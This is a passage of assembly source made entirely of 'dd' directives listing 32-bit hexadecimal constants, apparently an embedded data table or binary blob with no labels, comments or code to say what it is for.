		dd 0F03B53Eh, 2CC51D7Fh, 6B32903Bh, 6E2113F0h, 643DFF6Fh
		dd 62FCAE50h, 734B30E0h, 0AFE719FEh, 0E671DE44h, 32C32Eh
		dd 7E88467Eh, 967FF8DDh, 83260416h, 33BDE5C4h, 5B5BBD85h
		dd 0C2117B19h, 37E0DA19h, 5EB6474Ah, 9CB27CF6h,	1BDE4ED4h
		dd 0C2762082h, 8176A2E3h, 0F308B5FCh, 2BA0B790h, 0B7E7D546h
		dd 9DC41C3Ah, 25EFF87Ch, 9DC04FE3h, 317045E3h, 82933253h
		dd 0B5AFF412h, 69CB7818h, 0FDB2DAC5h, 71E97347h, 2636B890h
		dd 6D0B3D4Dh, 81602D40h, 99538A72h, 5999EDD4h, 78D28B2Dh
		dd 0E6A94846h, 0D55BA702h, 177C3D00h, 0A37B0AEFh, 4A001893h
		dd 58715934h, 4669C884h, 59AA4160h, 0D88BAA98h,	0E57F6415h
		dd 30E0C3D0h, 0FB7607Eh, 0C73CEBB8h, 95BCB976h,	66119C43h
		dd 0FAA5A535h, 0AF5B3866h, 0FEB98D5Fh, 0F7A31A31h, 0EF3B02BDh
		dd 3E896D42h, 0BE244C92h, 0CED54885h, 7468EB3Dh, 8ECB2D2h
		dd 0C8FC4282h, 79D383ECh, 6F1E5ED5h, 9DB83E11h,	0A74E5560h
		dd 7FD024C3h, 0B5C58B93h, 0D7CE61AEh, 0B5EC2DF8h, 7692932Dh
		dd 5859C485h, 1A53CC2Ah, 46BA441Dh, 0A9C25FC2h,	27B0F7E4h
		dd 74987F6Dh, 0E58CDC66h, 0B8255614h, 0FEFF48DFh, 82F84B8Bh
		dd 7B4A4B3Dh, 6A50A897h, 7DED31Ch, 0CD03439h, 8F24E267h
		dd 0DB462446h, 233036C2h, 98D5319h, 0D8ADF2C7h,	528FD1C6h
		dd 9C657108h, 0B7081643h, 7C9E248Ch, 0A95077DAh, 47453610h
		dd 10C92203h, 3D8C1B24h, 3BD78C87h, 82FFB7FFh, 12C29F9Fh
		dd 0BDCE6D24h, 0F6CA03CCh, 48C64519h, 0D9A74645h, 0C18DEA8Eh
		dd 0F48DA48Dh, 0DA0AD1D5h, 7E9FD63Eh, 343C75B3h, 792AC66Ch
		dd 96E1B16Eh, 1D725FBh,	80227596h, 148466F7h, 93D7E270h
		dd 4920D494h, 2BE8EC7Fh, 0C99743D4h, 2BFE0B01h,	0B451B46Ch
		dd 63F49905h, 0E015848Bh, 0E2762512h, 1F2F9E6Bh, 0E86CA994h
		dd 0D69A4FF8h, 98023430h, 16EC7114h, 28487A8Ch,	8097E414h
		dd 0B2D28092h, 0B6261874h, 2CA57163h, 1C5E2E59h, 3166FE61h
		dd 0DC1EBDB8h, 0B906E243h, 5AA30FF7h, 9A44575Fh, 0E56C999Bh
		dd 71960651h, 6D0ED93Bh, 2A60B79Ah, 0FA14789h, 587C8540h
		dd 6CF8D3B6h, 0D3B9DDAEh, 6DD892F8h, 0ACCFAF05h, 0F3C3D612h
		dd 0B9CBCF72h, 813C1FA0h, 0F5C03F32h, 90404A6Eh, 0C79A0E9Ch
		dd 9494F4CFh, 41D67465h, 8A6DD049h, 15997CB4h, 0B2BC3B8Ch
		dd 6837AAE4h, 0C6E34285h, 1AA914ADh, 0DF6A2896h, 0D827A013h
		dd 0AFAD5598h, 77CBBE1Ah, 0C61B2695h, 1AEEA092h, 80923018h
		dd 451DC9CBh, 892CC027h, 0E5BCB22Ah, 0AAAEDB9Bh, 639F85C8h
		dd 0B3AEAE10h, 0C3CF7CE7h, 1AC88B69h, 1323AB29h, 1B1A4413h
		dd 0D03945BEh, 6EA684C6h, 0A72F2663h, 1C45DF25h, 8B16B1D1h
		dd 4744C6B7h, 0F9F6DFC6h, 84DE33F2h, 520393A8h,	3F403A3Ah
		dd 0ECA8F18Dh, 0A8F3BB2Bh, 32205FD5h, 9FE006B7h, 0EFC5472Ch
		dd 66FC441Dh, 0BDFCC56Ah, 1427998Bh, 43B4599h, 2DDC9B2Dh
		dd 2B732E4Dh, 47263E28h, 5A522D28h, 9683BAF4h, 0E5D6D5D2h
		dd 6C419246h, 809355CAh, 2362C24Fh, 88820C64h, 945B760Eh
		dd 949A38BAh, 4B7F9013h, 17DD640Dh, 0BD39A6B5h,	972E6C94h
		dd 0D1A86316h, 0D4AFDB8Bh, 8E403BC3h, 65BF6CC1h, 20729CCh
		dd 78C3A35Ah, 0AEC1CC25h, 0A7428D19h, 0DE3AA9AFh, 0A9B10C2Eh
		dd 0B7932E21h, 434EDE7Fh, 0C1277061h, 67E3ECA8h, 2C3697CFh
		dd 681685FEh, 0A38A45E2h, 1EC5844Eh, 0B600D2A0h, 367B453h
		dd 49D050BFh, 3F950218h, 18B7AE96h, 0C063FE3Ah,	0FA345041h
		dd 0BDA9F5F7h, 0DCAE5425h, 0D0FD4B7Bh, 840C3C06h, 61E03390h
		dd 1CC9CFB8h, 0CAD98268h, 89900199h, 40C5C634h,	0D9B23C3Ch
		dd 1D8F156Fh, 0ABB67853h, 0C885DCEBh, 0D7AE8BFEh, 67C9C89Dh
		dd 92CB9707h, 9739D81h,	65577022h, 344E9BDBh, 0F45E1FDh
		dd 0D7062AAh, 9F50F1FCh, 71E2575h, 20B24CDDh, 52A35FD1h
		dd 0ED5FCFA6h, 5580778h
		dd 0A17C81B9h, 0C9B6E48Fh, 215E57CFh, 734CDD2Dh, 19A25104h
		dd 0DA33E46Dh, 0EE7AA99Ah, 0F4E436D7h, 0C170A76h, 10094C4Fh
		dd 23F94E58h, 3067B5B3h, 0D8346505h, 777BD79Ah,	856B9CBDh
		dd 0C97B36EEh, 0C79FA6B4h, 7A00CCDFh, 0CDEE4D81h, 0FED63CBDh
		dd 0ED7710FAh, 19380C8Ah, 0F67B8A90h, 452D7547h, 42240C02h
		dd 3A853DF2h, 4E580D94h, 0A2F45179h, 0DDABFE23h, 0E7A6F0E7h
		dd 84310DF0h, 944A147Dh, 0C7728AD5h, 0CBFBAC4Ch, 449EA7D9h
		dd 94B5EC9Bh, 4C8AAB48h, 0C58EF2A1h, 55C1A58Ch,	0BAB33A19h
		dd 0DA941DC2h, 651B844Dh, 2B787B27h, 0CF0ED106h, 48A2322Bh
		dd 3AE3D87Fh, 0C686587h, 6A731754h, 8ED5FEE0h, 3D569B22h
		dd 76657FA4h, 54485CFFh, 1A906C61h, 0A4CC3BC6h,	9174D7F9h
		dd 0FD81F3CCh, 3477095Ch, 0B3999628h, 0ADE77BB4h, 0CC2215DAh
		dd 3500D320h, 29353D40h, 0C0B6A150h, 5B11FC4h, 0BA3893FCh
		dd 73399A19h, 0E5336FAh, 69D011F8h, 5BC92E5Eh, 0E1905B1Dh
		dd 0F1E8FD24h, 686D0F3Eh, 0AB575200h, 0ADF1F746h, 65B8FC1Bh
		dd 956A6753h, 0EA267889h, 0EAF19C6Dh, 0D89F7D4Eh, 0CD7B91FDh
		dd 0EB9D374Eh, 9893918Ch, 0CE203818h, 0EC99D250h, 1CB7149Ch
		dd 0BC27A261h, 0F1512A99h, 0DCD4663Eh, 41E15902h, 0C6462D55h
		dd 0EF9CFDBBh, 1904C3ABh, 0F962C235h, 0E2CC0AE5h, 72A0219Fh
		dd 0C880729h, 0A53E5864h, 52E726B9h, 40814B94h,	0DEB0E722h
		dd 48F9EFEAh, 72A6141Dh, 45DE0E28h, 3A1967C1h, 0CD9F2F8Bh
		dd 9B26EE4Ah, 24F72D85h, 0A1EF8726h, 0F4A4F0Eh,	1DCFBF32h
		dd 0E37C99A8h, 40D430B6h, 0F1C67CCCh, 0C6DA8878h, 7F4CBCDDh
		dd 19F49C30h, 825FB5F9h, 1FFD5773h, 0A69FA7Eh, 42079F39h
		dd 551343ABh, 0BBE1C07h, 0DBC69D5Eh, 3CE75D6h, 0A0D5DD01h
		dd 0E31495A7h, 66144FA6h, 29AC6664h, 0C5FC88CCh, 0AE0C0C28h
		dd 0B5BD0476h, 3AB2B40Fh, 616F2986h, 7050C96h, 0A9606A99h
		dd 0AD194CABh, 77607715h, 59754F8Ch, 0A90C4CC1h, 0F510E048h
		dd 0C88D2C2Eh, 2CE7A5E9h, 0E0E1DDE8h, 13CCC98Ch, 9B5654BAh
		dd 0D52C23FDh, 33CCDD1Dh, 6F349736h, 0DC2A0CF8h, 0F7D6E375h
		dd 0FDDA8143h, 1DD66947h, 6E1A68F6h, 0CEE2F812h, 0A86B46A8h
		dd 9A5B0F50h, 9A019604h, 0DEB6F4B5h, 0A4995F2Dh, 0BA00FA4Ch
		dd 0A2309791h, 0E46BE79Bh, 0CCC9E6F9h, 555151C0h, 2D79B01Eh
		dd 0BB62C468h, 75B26F62h, 94C42326h, 0DF8B7DE2h, 3A7CD81Bh
		dd 70EB28E9h, 7087129Fh, 0F8BF2A9Fh, 1C07FD3Fh,	0D2AED8CBh
		dd 38377946h, 8AB42C76h, 178BD698h, 41B0BF02h, 0CC735A5Bh
		dd 7C97D19Bh, 4D08569Fh, 4DB3135Ah, 98A9C5BAh, 0BA3FF51Bh
		dd 0F3EB5F5Ch, 6A9F0969h, 91649121h, 0DF53B3F7h, 5D8BA419h
		dd 9B577C8Dh, 0BC7D4FE4h, 0C8062B3Ch, 9486017Eh, 77CAED0Fh
		dd 858DD10Dh, 2A0D583Ah, 85A754EFh, 2CAF5FA1h, 9AD7EA06h
		dd 43654B94h, 17A9FC9Ah, 0E36450BCh, 0B1F4DF70h, 404641B8h
		dd 0B43D68Ah, 0FFEB9D4Ah, 0A8B911B5h, 0DD727B41h, 0BB995D7Ah
		dd 7D13A32Ah, 0C0501EBAh, 0CC84A268h, 9D459462h, 0E3613EFh
		dd 33C2EAA4h, 32A935D8h, 663A3CF4h, 6000CE09h, 7D1C7579h
		dd 0E6929D4Dh, 0B9F6B058h, 0BCD781A4h, 77C7086Ch, 4670531Fh
		dd 1A1E2CE9h, 27F73F7h,	0E2B67F15h, 0BBD8C61h, 0C7708163h
		dd 681E0560h, 0ECE69225h, 437F1159h, 48D36733h,	0A95D2DDFh
		dd 73640F46h, 0E7B97321h, 48EF22B0h, 4888189Eh,	3CC6D984h
		dd 219E1EA4h, 0FFA011C2h, 0FD6D0AADh, 9E3E11D7h, 0CB306FB0h
		dd 0FC9F0F52h, 7C873619h, 0B7FE28D0h, 0BAD742F9h, 7E734E24h
		dd 0E2670618h, 98EEF120h, 0BD061957h, 6338B0A9h, 0B9E7656Ch
		dd 3877C939h, 243F3FD2h, 0C89C45D7h, 240CB997h,	2A813AADh
		dd 650099C7h, 48AC186Fh, 0B41B5E83h, 6D4FCDDFh,	99823258h
		dd 0A42BD90Bh, 1BEBEAA4h, 1A2E18BFh, 0BC2E7F08h, 111B6962h
		dd 948A943Eh, 0D79D35Eh, 86E1FA4h, 0CF397ADFh, 0F6262CDh
		dd 1190602Fh, 9BE18B78h, 0A53A6F16h, 0A8086E1Bh, 0F4334D5Dh
		dd 12DE3C72h, 0FB04B2DCh, 73454F15h, 1BA2FABAh,	0BF0849A9h
		dd 6D0365F1h, 118FC469h, 0DEB94702h, 65435F06h,	2D624C5Ch
		dd 0DA4E1910h, 9AB7B9C7h, 7B5B0E93h, 60C7D1C8h,	0D319A9BEh
		dd 4ACCB98Bh, 56C9434h,	523C9708h, 76E1E679h, 0AF32589Dh
		dd 0D8A2E795h, 64624537h, 42F5AD32h, 5D78761Bh,	0A6B127Eh
		dd 0AF00F500h, 877B9133h, 520E4E0Ah, 4F50C9h, 52917333h
		dd 9A215853h, 0C50E375h, 2E8E0DCh, 0E13AC1A3h, 326173A3h
		dd 0EDE40AD6h, 0A26B661Bh, 0F1770D7Ch, 26492919h, 686A3C2Bh
		dd 0D53AAF31h, 0C32580Ch, 0C40C682Eh, 3C2FDC7h,	0FE523777h
		dd 0F93D65F8h, 0E9061053h, 0A4DECC66h, 0B68DE3A2h, 49FAE6Fh
		dd 1BF22BC0h, 694439DFh, 0E2E4B4C6h, 119C7D54h,	712F6DCCh
		dd 0FE581BF3h, 2E3AE410h, 230D96D2h, 2393FA76h,	0C14CEC6Bh
		dd 5CBF3E4Bh, 67FA44B6h, 0C52EB3A9h, 0D71D2390h, 77F0087Fh
		dd 89CD21AEh, 8550F4FDh, 4CE8E953h, 3DE9AD1Bh, 1185D94Dh
		dd 45852FA7h, 6CA79038h, 326DB800h, 2E6736Fh, 193C338Bh
		dd 8B301892h, 0C25CA94Dh, 0D30A9A41h, 48D2440Fh, 1E45B992h
		dd 0BDA67B28h, 0E10872Bh, 7F5732Eh, 728A5262h, 391A72B7h
		dd 0A0CE22E1h, 9341079Ch, 32DDC131h, 0F33675DAh, 538A1D59h
		dd 34840D37h, 550E0BDh,	0F0118251h, 0F8A51E53h,	8F79C8B6h
		dd 0E566B3EDh, 2632C1B2h, 83E5636h, 0FEADF2B7h,	5A98F910h
		dd 0DEE126DBh, 363F6EE5h, 6BE87C88h, 0A5A96F04h, 0F15C64A9h
		dd 0DA93003Dh, 0B52B51C4h, 960B338h, 0EEA5E6ACh, 0F29809A9h
		dd 9520BEAAh, 1F86C2ECh, 0CA1F22A3h, 754DFA8Ch,	2CB81B12h
		dd 1AC1E45Fh, 0ED837B81h, 2AFCAEF5h, 465E229Eh,	0D18F4A74h
		dd 0E32526A1h, 7641562Dh, 8DA1483Eh, 0C31B1188h, 0A90F7AB9h
		dd 0C4C0AF74h, 4C3CCBFDh, 872537CDh, 54BFD69Ah,	6A856CD7h
		dd 0AB8A5421h, 0B99022D7h, 0D3E6C032h, 7ED7C3A8h, 4DB4E898h
		dd 51EC0891h, 5E5803B7h, 0B038E755h, 0F8AB729h,	4A953549h
		dd 0B44C18EDh, 7AF5C68Ah, 1CE3687Dh, 0ABA5C9ADh, 480CF22Ah
		dd 89FFA8Bh, 0C60317AEh, 1E4C5B83h, 9AB9B75Bh, 0E54402D9h
		dd 2BB9BAD1h, 75E1B3BAh, 8C124C78h, 425E1750h, 51008854h
		dd 0CF6265CFh, 9397B6C2h, 0A852304Bh, 53D08C3h,	0C3F88C3Bh
		dd 2B34072Dh, 5977896Ch, 0F50D8B0Dh, 0CCAB5D74h, 4C4A593Ch
		dd 0D12AA47Eh, 0F125A4A5h, 0F9F2501Eh, 0F6B83F0Fh, 0DC80384Ch
		dd 0A744F5B7h, 858B279Ah, 98ABDFCBh, 29C22C56h,	1EC69B1Dh
		dd 36588FF8h, 77A375BDh, 6E6D2B74h, 72C9F3FFh, 42D84475h
		dd 3CA7680Bh, 7BD1F9F2h, 98CD7B8Ah, 0E8CD1C12h,	9933536Ah
		dd 0E19AD4Fh, 0FC5E689Ah, 6D37CCEBh, 0E04ECFBh,	0C93A097Ch
		dd 0CDCEDA71h, 663018DDh, 0BE46EEB6h, 547E1B7Bh, 25F5B94Ch
		dd 96AAFA04h, 0E3C0B8BAh, 78C67F6Fh, 0EB7E44B9h, 0CE7DDA20h
		dd 5DC32F3Bh, 0B50C8867h, 9AB17A30h, 6B8B1DD1h,	0A0F78C4h
		dd 8C72FC65h, 84AE2356h, 1F48E368h, 19B69B48h, 0DAA9DCA3h
		dd 0AA1A3097h, 0C1B81D7Eh, 0D80CD126h, 8A71DF2Eh, 8A762821h
		dd 0EF6777D0h, 0C8576BDFh, 3FD8CC50h, 3E762775h, 92DE151h
		dd 0A6BA0CACh, 0D594C181h, 24D9ED2Eh, 0E8F30002h, 0DDFBE07h
		dd 0E0EE7F00h, 7D685AFCh, 7DFD7370h, 0DD1C9C88h, 692309B2h
		dd 0DDBBB061h, 1DFD9F2Ch
		dd 0EB48C997h, 65903D2h, 0E6709FEBh, 0EDABB7E6h, 224A7495h
		dd 719AA1C0h, 56C8BCCAh, 274BAC57h, 763B6414h, 0A2065433h
		dd 11CA072Eh, 0FCCCA598h, 0E6C11445h, 0E6B3C57h, 35C204EBh
		dd 0FE878AD6h, 75E642AFh, 4C04EE9Dh, 9599A105h,	88AB3344h
		dd 57D6A5EEh, 971A1242h, 9555FA6h, 0DAA6B80Ch, 67F42207h
		dd 53FB44C4h, 46B715A0h, 9105F32Ch, 6E46A18Ch, 74C7B970h
		dd 0A6DF4097h, 6C4684Ch, 999DD6ADh, 0BDBD2C25h,	0F566147h
		dd 8BBC42FCh, 46D65C47h, 0B9B03B52h, 0D197C755h, 0EA55277Fh
		dd 8C3CADD7h, 85785FB8h, 0A834CB44h, 0ABBCA563h, 0DDA2D25Fh
		dd 0A539BF73h, 5713B7BEh, 0B4235F12h, 0A6BD6EAAh, 86BEA9D0h
		dd 4987223Eh, 15CACC1Eh, 0CE1B8AC6h, 6508C029h,	0FA0B410Dh
		dd 58E0D478h, 27C5A2E6h, 0F3FA7958h, 0F33510FCh, 7EB12D22h
		dd 9EC95855h, 692762B1h, 0C8A9287Fh, 0E65B60Bh,	99BEC9A6h
		dd 7A90F846h, 4DA54F51h, 2CA349A8h, 1275375Ah, 5AE09DE9h
		dd 74773795h, 9344DC63h, 9EB270EBh, 0BAE277F6h,	0FB88C839h
		dd 42C96C0Dh, 3AF3C813h, 0F1810652h, 0DC27A9DDh, 0EC4BB0CDh
		dd 75E6E54h, 572287BDh,	8C5FE98Ch, 0D37B1DE8h, 0E29806C4h
		dd 2A2A59F7h, 34A0E609h, 7205790Ch, 9C94DDB5h, 0B70A802Bh
		dd 0D0479447h, 0EE5B13B1h, 68CE1A2Eh, 3147107Bh, 894D1A09h
		dd 0B981AF1Ch, 0DB01512h, 0A4E4E538h, 0DB85AEE1h, 0AD085727h
		dd 8228736Fh, 0A26788Ah, 0C154E96Ah, 12797DF7h,	8E725254h
		dd 0C19C0B8Ah, 0F3E8B6B6h, 138C3A3Ch, 0EC776578h, 315BAB30h
		dd 0C51BB5CBh, 9ADFBE31h, 0AA7F87C2h, 0E3EFF31h, 0DC704BE1h
		dd 810B1F98h, 0E5785DC8h, 5937BA52h, 0CCFA2181h, 0E2D002BAh
		dd 8BC0C7D6h, 0FAD2EE91h, 0D8764505h, 0A800B88Ch, 0ECAF8ADAh
		dd 3E85032Ch, 9251C028h, 0A114907Eh, 0F1A7E94Ah, 89DAF891h
		dd 64DB38D1h, 16CDB54Ch, 0B9D0C2D0h, 0DDE47D3Fh, 8CB6C27Fh
		dd 2A6ACDA8h, 576BE6AFh, 8D57A97Ch, 0CF819776h,	0A676B8A2h
		dd 887B1B2h, 14EC82B0h,	6ED88330h, 0E3EA9E32h, 3ADCFF86h
		dd 9C0B1298h, 0ABABC876h, 4A13246Ah, 0CCD8EA10h, 44FACB4Ah
		dd 42464306h, 13882567h, 6D260AF2h, 1091FD26h, 0D24C998Fh
		dd 0B55EB018h, 0B6825B94h, 19906ECAh, 2824676h,	8EB1E6A7h
		dd 0D76F026Bh, 5390E640h, 3ABE0F5Eh, 771508BEh,	0F2DA7C19h
		dd 4C9AFB34h, 0BCF5F08Dh, 0B7F32E27h, 85B342EEh, 0B497D35Eh
		dd 0C44DD061h, 7BE5AA88h, 0BAEB6793h, 0B320386Ch, 555DAA32h
		dd 4FC15096h, 0E27C9E25h, 6718711Fh, 1CF725B2h,	0F12BBFB3h
		dd 0BE022611h, 859CC69Ch, 628F52FFh, 29CEF264h,	0A06E7A6h
		dd 33EE1BFDh, 70C672F8h, 0E96D3293h, 919824FCh,	8185A73h
		dd 822A7771h, 9E215FB6h, 89763F5Fh, 0D7C48CB3h,	17FF44FAh
		dd 0A630FEF3h, 6765686Dh, 62B8DCDBh, 8396F26Dh,	33839B1h
		dd 9D16191Ah, 6E01CAA1h, 0F81825C3h, 4A97D4EDh,	64F8B7FDh
		dd 5BAE3874h, 0C2E71CB6h, 81FA5662h, 8EE7FB7Bh,	7BCC2C41h
		dd 28149FC3h, 9425FAE9h, 0DD3BC507h, 67313E98h,	0DBFA075h
		dd 4ECBA09Eh, 0D0E1A393h, 0E02C28B6h, 3815A50h,	0F2AABF47h
		dd 0DF601E42h, 37D0D0E9h, 3462C5D6h, 8AACDD93h,	439618D4h
		dd 81779E4Fh, 724BA51Dh, 25542586h, 0CFCBCAFh, 50CBB99Bh
		dd 0C5C07E00h, 0BC8AFBB0h, 0ED80A3EAh, 1909B50Bh, 8788C72Fh
		dd 98F460F6h, 35053561h, 0D8A795B5h, 1518646Fh,	0FDAA2338h
		dd 3E281005h, 7406C8BDh, 0C03751EDh, 18F4528Ch,	0B92873D3h
		dd 0ABD36C82h, 0ED1FA8E3h, 0D5BEBDFAh, 0F98D95B0h, 0AC9118EEh
		dd 732270C0h, 6026BD8Eh, 0BBC4CE17h, 0BBD88907h, 5D79104Eh
		dd 227CF252h, 96A02C8h,	496599A7h, 6C83576Dh, 0DBF61430h
		dd 0C99156E2h, 0F888825Fh, 6C8A44EEh, 9705E099h, 47119810h
		dd 144A8E6Dh, 0E141C095h, 321B5E08h, 2511AD18h,	0DA66C3A4h
		dd 6B4BCC69h, 74A0D5FFh, 30F05C69h, 7B0624B1h, 0B3DCF4AFh
		dd 5061F7E3h, 0C3188F44h, 0B464C160h, 98259D22h, 0F0D5C284h
		dd 0F3336ADBh, 0CD4E3FC5h, 0E300EF2Ah, 92557F61h, 0E3B48AC2h
		dd 4C2EAF34h, 13911D74h, 3058C92Eh, 779E959Eh, 0AB5E2B16h
		dd 7D84F16h, 92450666h,	83002B75h, 0DB1B1339h, 0FBAA8917h
		dd 0D927DE17h, 0D7A094FBh, 94F885DAh, 0F991E392h, 7D6E24F0h
		dd 0F8E0961Ah, 5DA07935h, 35B6E006h, 0A9A6CAB9h, 0CB6FBC1h
		dd 0A9C4E35Fh, 6356E315h, 55651C3Dh, 17C988FBh,	0C24138BAh
		dd 0A337F1F9h, 0A209EF79h, 0CD476DA6h, 7CAF7064h, 2DB9BEADh
		dd 0D0F78C1Ah, 7D92BCF8h, 0CF62F824h, 0A6FAA49Dh, 867AAD4Bh
		dd 3FD96FA8h, 3BC92752h, 68F3C4E2h, 0E38D8643h,	0E7987FB4h
		dd 0F7ED42D5h, 7F5061E4h, 9D74BB3h, 2197627Bh, 0C684FA97h
		dd 0DBC48EF7h, 0CE6BC9E4h, 0BE075ACAh, 0EBDF1136h, 2E43B1C3h
		dd 0FBDCA4C5h, 596FF544h, 0D910619Ah, 414383EFh, 739684CDh
		dd 4BD46382h, 60ABD323h, 0F139B6BDh, 3FFCDEEEh,	6D7FABADh
		dd 48979B42h, 90ABD176h, 436E14B4h, 9730E564h, 442DF247h
		dd 4A3D63B2h, 0A7B86A96h, 38D83E8Fh, 0F6B74ED2h, 0EAB4D157h
		dd 2D639128h, 761D93F0h, 40517C73h, 23375464h, 0CB132613h
		dd 7620F1ACh, 909BFB7Ch, 350A8B89h, 0DF83653Ch,	7338BDFh
		dd 3572016Dh, 0CDE7A873h, 85E56369h, 93CA1BD1h,	0C5548B3h
		dd 4796831Dh, 0FE611434h, 0C5ECAA41h, 37EB732h,	0B7B7CD0Eh
		dd 0C77DAE58h, 0F5320621h, 0C55FB504h, 65C95EC0h, 0F466F5h
		dd 927A17CDh, 66F2E56Fh, 7A6CD6C9h, 4D5B6D15h, 0E2762A87h
		dd 523FC9F6h, 84505118h, 53F5FDD3h, 0E896C5FBh,	0D4934468h
		dd 9FE7BB82h, 78C7338Ch, 2BC19BA1h, 324419A5h, 0B3921D13h
		dd 8D2A0B3Ch, 0EA24422h, 0C4023FF2h, 0A5D49F66h, 53D828C7h
		dd 6AFD44BAh, 39A60326h, 79619051h, 0CE5CA635h,	1DBA9D0Bh
		dd 0BCD9EED0h, 868BA09Dh, 0F4787467h, 486AE799h, 0DB31D56h
		dd 364A47CEh, 4E3E0B87h, 0F46A194Dh, 0DC9FEDA0h, 0E9D3A786h
		dd 48622EF1h, 0CF1FFDA1h, 90D00DEFh, 0A1CD1936h, 0AC7E6A18h
		dd 0EA20C58Eh, 5FDB06DFh, 73A72D0Dh, 0E8C96F83h, 43380E8Ah
		dd 0A1618E62h, 8E0303A0h, 57DE0EFh, 56A2B831h, 88F213C5h
		dd 0ECF689B9h, 86BE2397h, 20EA217Fh, 7AF15295h,	90F3D399h
		dd 58E43FA2h, 0DCC3A20Ah, 105AE8EDh, 0E60E2952h, 1F8389EAh
		dd 6432EF40h, 89DD70BCh, 0B2696433h, 0CB34B572h, 0BF77BDEBh
		dd 0C2542B86h, 173D1FF6h, 5ABCD208h, 91D07F9Eh,	52245C88h
		dd 0B9F2D206h, 913D7A3Eh, 9BCD60AEh, 70E714FEh,	2121904Ah
		dd 151968B5h, 5A0932DCh, 0A791CABDh, 98AA3BC6h,	6EAD486Fh
		dd 0C1904E7Dh, 278DF533h, 6AE56382h, 3829B2F9h,	0E0A26D60h
		dd 6C5316E5h, 0A9B19FBh, 558DA4B6h, 80E6C344h, 8348FE18h
		dd 0B649DF67h, 0B3D07518h, 0F960D004h, 71C92FECh, 552C1BA3h
		dd 0D14349D9h, 3ACCC2Ah, 6ABADF5Dh, 0ABA2A1Fh, 0A8B3AE11h
		dd 48D03819h, 99D24040h, 0E5F0099Dh, 0B487E27Eh, 0AEE4364Ah
		dd 0B045E03Eh, 0B19EB1B8h, 9C58E148h, 0DA90DA36h, 44794F1h
		dd 491DEED9h, 0D44A8D9Fh, 7568E0A3h, 8462FE56h,	14E5AC9Ah
		dd 7E387BAEh, 0E352318Eh, 70691F75h, 48C3CB48h,	5A198ADBh
		dd 41C59DECh, 4A744ED4h, 0B98B2484h, 983915FEh,	99E2D0AFh
		dd 0C0F92DC2h, 3B443039h, 45AFFBBAh, 0BE3F7C60h, 0FFEC8054h
		dd 0B0D9895Ch, 0A801F5D1h
		dd 1987C42Fh, 0F4EA6A6Eh, 0FAE68F04h, 27AC8D5Dh, 186E5EA1h
		dd 0D8EF5185h, 47C7F4C6h, 4325A7E7h, 94CAC284h,	977A7355h
		dd 490CB16h, 0C0590FABh, 438248F6h, 905F3752h, 5D72EBADh
		dd 241215E1h, 0D78ACE30h, 16D468AEh, 0B2869383h, 7A9780A0h
		dd 33489E85h, 4BCDF3D6h, 0F8758154h, 306C2078h,	1D234DB7h
		dd 0EA989FAAh, 87942E5Ch, 0EA342A8Ah, 97AED82Dh, 6CB1B75Ah
		dd 0E95B0987h, 0C35F1CB3h, 0E0F4F38Ah, 0C87AB890h, 24CFB5ACh
		dd 0CE0BBF9Eh, 2548A7BCh, 3FD1685Eh, 2F38503Bh,	8C8C236Eh
		dd 83477889h, 0AE7E06D8h, 39344EA2h, 0DC22C6F4h, 79EEFCAFh
		dd 0C15B869h, 0E06149D1h, 787171BFh, 39C40D81h,	691D9577h
		dd 6A0EAF49h, 3E61DE9Fh, 0C8044B02h, 0A279218Eh, 1C661EB9h
		dd 4E7B7512h, 6932753Eh, 57B5AF5Ah, 112E6Dh, 486C5F60h
		dd 4B48D4F7h, 52B3CC45h, 5AAE324h, 3913E3C4h, 61FEFB68h
		dd 3E3BF415h, 0FD24995Fh, 56275E11h, 0A1F22814h, 2337C897h
		dd 0ADE689EBh, 0FCB56820h, 4CDAEE6Fh, 73E6987Dh, 653EAA3Ch
		dd 53F2F886h, 1FF964C3h, 5BC0BF2Ch, 2D273444h, 977406A3h
		dd 0FBF208DEh, 0BF6972EAh, 9B73535Eh, 0A1FE7538h, 0DAFB5D2h
		dd 30FAA513h, 0F05404EEh, 4850151Ah, 0EF1660D6h, 0F708AF19h
		dd 5356F40Eh, 0B6DCDA40h, 0C4B569D9h, 0BE80F322h, 96BC51ACh
		dd 74D40155h, 4A0FD754h, 0ACB05315h, 488AF2CFh,	8ACA4B4Fh
		dd 339E9A33h, 0F329CCC2h, 0E0849655h, 0EDDF0A49h, 16CE97D8h
		dd 913D3DEEh, 5E4A91E7h, 623B6E4Ah, 5E869DD5h, 15720DA8h
		dd 0C459E9F7h, 0F2100C44h, 3BE079B7h, 5E071F63h, 5F5868B0h
		dd 0C4CEA382h, 0CCD0F8E5h, 0BC03F376h, 0DE5CAE06h, 22B6AD21h
		dd 183EB744h, 0B0ECC18Ah, 0C5F9691Ah, 72CF181Eh, 246B2184h
		dd 3AE24499h, 0C3B87E42h, 0BF52F1D5h, 86000DD9h, 4E15BA18h
		dd 3F165827h, 0A682E835h, 1CB91C5h, 55102A6Ah, 0F0D986B2h
		dd 392D373h, 0A7DCE2DCh, 7AC849E2h, 0DDD3DDEDh,	8BC9E530h
		dd 0E389F581h, 0C50A0F77h, 0B2020EB6h, 0D81A9916h, 3AF4FF9Dh
		dd 0E01108A0h, 0F5767EE9h, 5A1FEEF6h, 0F50AC6BFh, 0D1F6A5F9h
		dd 9AE20F6Ch, 93309FE3h, 7D8F0A39h, 0AA934CCBh,	0B6C00348h
		dd 0B1E7E253h, 0FCC0162Ch, 6AB3BB6Fh, 0F92BD13Fh, 9AF11116h
		dd 6A3Bh, 47E1CBD9h, 7493AB72h,	0DC4C9202h, 6518B83Bh
		dd 98B5EB25h, 0CD7BCCAFh, 0A48BEC98h, 451408F1h, 0C3F2433Ch
		dd 0DC812DDAh, 1710959Fh, 0DB13E670h, 0E85E207Ch, 0B75F4C5Ah
		dd 1F6F90ACh, 6AC04DBh,	6019008Ah, 9FF08090h, 6CC4E0A2h
		dd 4C321541h, 0EFA0CFFEh, 0BC26E1F0h, 0DC5A99C1h, 0ABDF9946h
		dd 99F0A5ADh, 0C02F2816h, 792264FCh, 7E7B369Ch,	71122AE6h
		dd 94D80548h, 6330066Dh, 0BFC29092h, 5F70EB20h,	47E889F5h
		dd 0DE8D6179h, 0AF880A4Dh, 0BC69A078h, 0B2C05EB2h, 6CB8B64Ah
		dd 6F6E907Eh, 5021C115h, 0E1A3623h, 0BA46DFB4h,	94238B8Eh
		dd 19F359F6h, 0F3A86228h, 0FFD8DFE3h, 0D3E16074h, 1CBEB283h
		dd 31E6B8B3h, 3C4C35E2h, 0A6D1296Ah, 78FB0977h,	0D4694F51h
